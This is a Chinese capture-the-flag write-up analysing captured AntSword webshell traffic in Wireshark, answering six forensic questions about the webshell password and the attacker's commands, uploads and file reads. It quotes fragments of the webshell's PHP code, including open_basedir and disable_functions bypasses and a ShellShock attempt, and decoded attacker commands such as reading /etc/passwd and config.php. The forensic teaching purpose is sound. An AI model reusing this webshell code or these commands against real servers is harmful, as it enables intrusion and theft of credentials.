玄机靶场 第六章 流量特征分析-蚁剑流量分析

admin 2025年5月26日19:15:10评论0 views字数 4428阅读14分45秒阅读模式
简介
中括号
1、⽊⻢的连接密码是多少

2、⿊客执⾏的第⼀个命令是什么

3、⿊客读取了哪个⽂件的内容,提交⽂件绝对路径

4、⿊客上传了什么⽂件到服务器,提交⽂件名

5、⿊客上传的⽂件内容是什么

6、⿊客下载了哪个⽂件,提交⽂件绝对路径

中括号
流量分析
左中括号
    题目下载之后是一个流量包,用wireshark,常规流程先筛选一下http流量看一看。

玄机靶场 第六章 流量特征分析-蚁剑流量分析
    看到1.php时,好像明⽩了些什么,打开看⼀下
玄机靶场 第六章 流量特征分析-蚁剑流量分析
    解码之后
玄机靶场 第六章 流量特征分析-蚁剑流量分析
    ⾮常经典的蚁剑webshell,我们来⼀步步分析⼀下。

左中括号
Webshell分析
左中括号
1、设置运⾏环境

@ini_set("display_errors", "0");@set_time_limit(0);#关闭错误显示:防⽌报错暴露路径或敏感信息。#取消脚本执⾏时间限制:确保⻓时间任务不中断

2、绕过 open_basedir 限制

$opdir = @ini_get("open_basedir");if ($opdir) {    ...}#如果服务器启⽤了open_basedir(限制脚本能访问的⽬录),该代码尝试通过创建临时⽬录、修改路径等⽅式绕过限制。#这是⼀种常⻅的 Webshell 技术,⽬的是让攻击者可以访问整个⽂件系统。

3、定义输出函数

function asenc($out){return $out;};function asoutput(){    $output=ob_get_contents();    ob_end_clean();    echo "2c"."3f5";    echo @asenc($output);    echo "20"."c49";}ob_start();#启动输出缓冲区,收集所有输出内容。    #自定义输出格式,可能用于蚁剑客户端识别响应内容
4、接收加密命令并解码

$p = base64_decode(substr($_POST["ma569eedd00c3b"],2));$s = base64_decode(substr($_POST["ucc3f8650c92ac"],2));$envstr = @base64_decode(substr($_POST["e5d0dbe94954b3"],2));从 POST 请求中提取加密参数:ma569eedd00c3b → 命令前缀(如 /bin/sh -c)ucc3f8650c92ac → 实际要执行的命令e5d0dbe94954b3 → 环境变量设置(可选)注意:这些字段名是随机生成的,目的是用来躲避关键字检测
5、构建完整命令

$r = "{$p} {$c}";#$p 是命令前缀,比如 /bin/sh -c#$s 是 Base64 编码后的实际命令#构造出完整的 shell 命令准备执行
6、检查可用的命令执行函数

function fe($f){    $d=explode(",",@ini_get("disable_functions"));    if(empty($d)){$d=array();}    else{$d=array_map('trim',array_map('strtolower',$d));}    return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};#检查哪些函数未被禁用(如 system, exec, shell_exec 等)#动态选择最合适的函数执行命令
7、执行命令并返回结果

$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";#调用 runcmd() 函数执行构造好的命令#返回命令执行结果(标准输出 + 错误输出)
8、ShellShock 利用尝试(CVE-2014-6271)

function runshellshock($d, $c)#如果服务器使用的是 Bash 并且支持 ShellShock 漏洞,会尝试利用它反弹 shell。#这是一种比较高级的攻击技术,用于绕过 disable_functions。
9、Windows 下的 COM 对象调用

elseif(substr($d,0,1)!="/" && @class_exists("COM")) { $w=new COM('WScript.shell'); ... }#在 Windows 环境下,如果支持 COM 组件,尝试调用 WScript.shell 来执行命令

分析完了流量,我们来看一下题目,第一个问题要我们找到木马的连接密码是多少    在刚才的完整请求分析中,我们看到了post数据

关键部分
POST /1.php HTTP/1.1...1=%40ini_set(...)%3B...%3B&ma569eedd00c3b=38L2Jpbi9zaA%3D%3D&ucc3f8650c92ac=AkY2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz&e5d0dbe94954b3=SR
其中:

1=... 是 WebShell 的主体代码。  ma569eedd00c3b 和 ucc3f8650c92ac 是加密后的命令参数。  e5d0dbe94954b3=SR 是环境变量相关参数。

关键点: 在蚁剑的通信协议中,WebShell 的“连接密码”是指你配置时填写的 “连接密码”字段值,也就是蚁剑在发送请求时使用的一个标识字段名。例如:

{"pass":"1","encode":"base64"}

在这个流量中,我们看到:

1=%40ini_set("display_errors", "0");@set_time_limit(0);...

也就是说,在 POST 请求体中,有一个字段名为 1,它的值是 WebShell 的核心代码。

左中括号
蚁剑连接机制说明
左中括
    蚁剑在连接一个 WebShell 时,会尝试发送一个包含特定字段名的 POST 请求,字段名就是你在连接时填写的“连接密码”。例如:    如果你填写的密码是 abc,那么蚁剑就会发送类似 `abc=<?php ... 的数据`    如果你填写的是 1,那么蚁剑就发送 `1=<?php ...`木马的连接密码是1,因为这是蚁剑在连接该WebShell 时所使用的字段名,即 POST 参数的 key。    因此第一个flag为:  flag{1}

    接着往下看,第二个问题黑客执行的第一个命令是什么    在先前分析POST数据中,有如下字段:

ma569eedd00c3b=38L2Jpbi9zaA==ucc3f8650c92ac=AkY2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz

对ma569eedd00c3b进行Base64解码后得到/bin/sh,这通常用于指定

要使用的shell环境

对ucc3f8650c92ac进行Base64解码后的结果为:

'Cvarwwwhtml';id;echo e124bc;pwd;echo 43523

但这个字符串看起来像是一个脚本或命令序列,其中包含了多个Linux

命令,'C:varwwwhtml';

这部分似乎是为了兼容   Windows路径格式而插入的,并不是实际执行

的命令,所以第一个执行的命令为id

第二个flag为:flag{id}

    接着往下看,第三个问题是黑客读取了哪个文件的内容,提交文件绝对路径

01
左中括号
理解WebShell的工作原理
左中括号

   1、WebShell通常会接收来自攻击者的命令,并执行这些命令   2、如果攻击者试图读取某个文件的内容,他们可能会发送一个包含读取文件指令的POST请求。    筛选分析一下POST流量,

http.request.method == "POST"(用于wiresharkl筛选post流量)
玄机靶场 第六章 流量特征分析-蚁剑流量分析

   挨个查看分析一下,在第三个POST流量中看见了一些信息

玄机靶场 第六章 流量特征分析-蚁剑流量分析
mtY2QgIi92YXIvd3d3L2h0bWwiO2NhdCAvZXRjL3Bhc3N3ZDtlY2hvIGUxMjRiYztwd2Q7ZWNobyA0MzUyMw==#解码后:'"/var/www/html";cat /etc/passwd;echo e124bc;pwd;echo 43523'

从解码后的命令可以看出,⿊客明确使⽤了

cat /etc/passwd

来读取Linux系统上的⽤户账户信息⽂件/etc/passwd。

响应体中也包含了/etc/passwd⽂件的内容,如下所示的部分输出:

root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...

这进⼀步证实了⿊客确实读取了/etc/passwd⽂件的内容

因此第三个flag:flag{/etc/passwd}

第四个问题为⿊客上传了什么⽂件,⼀样是筛选post流量分析,在NO.422⽂件中找到

玄机靶场 第六章 流量特征分析-蚁剑流量分析

    解码后看⻅⼀个base/64字符串

玄机靶场 第六章 流量特征分析-蚁剑流量分析

    最后解码获得/var/www/html/flag.txt

因此第四个flag{flag.txt}

接着往下看,第五个问题需要我们找到⿊客上传⽂件的内容,我们刚才找到了⿊客上传的⽂件为flag.txt 并且在post请求中,有以下内容:

&ld807e7193493d=666C61677B77726974655F666C61677D0A

这⾥,&ld807e7193493d= 后⾯的部分即为该参数的具体值。

这个值是⼀个⼗六进制字符串,代表了要写⼊到⽬标⽂件(由t41ffbc5fb0c04指定)的数据。 通过解码得到

玄机靶场 第六章 流量特征分析-蚁剑流量分析

    因此第五个flag为:flag{write_flag}

最后⼀个问题,⿊客下载了哪个⽂件,并且提交⽂件绝对路径 接着排查流量包,在NO.606中我们找到相关信息

玄机靶场 第六章 流量特征分析-蚁剑流量分析

    接下来我们详细分析⼀下 ⾸先在 POST 请求中,有⼀个参数:

t41ffbc5fb0c04=2eL3Zhci93d3cvaHRtbC9jb25maWcucGhw

这个值是 Base64 编码的字符串,解码后我们得到:

/var/www/html/config.php

这表示⿊客正在尝试读取该⽂件的内容 并且通过响应包返回的内容,这是典型的 PHP 配置⽂件内容,表明⿊客成功读取了 config.php ⽂件的内容,并将其通过后⻔脚本返回

最后总结:

⿊客通过后⻔脚本 /1.php 成功读取了服务器上的配置⽂件 config.php

该⽂件的绝对路径为:/var/www/html/config.php

因此第六个flag为:flag{/var/www/html/config.php}

玄机靶场 第六章 流量特征分析-蚁剑流量分析
END
玄机靶场 第六章 流量特征分析-蚁剑流量分析
注:鼎星安全有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

原文始发于微信公众号(鼎新安全):玄机靶场 第六章 流量特征分析-蚁剑流量分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月26日19:15:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   玄机靶场 第六章 流量特征分析-蚁剑流量分析https://cn-sec.com/archives/4100023.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息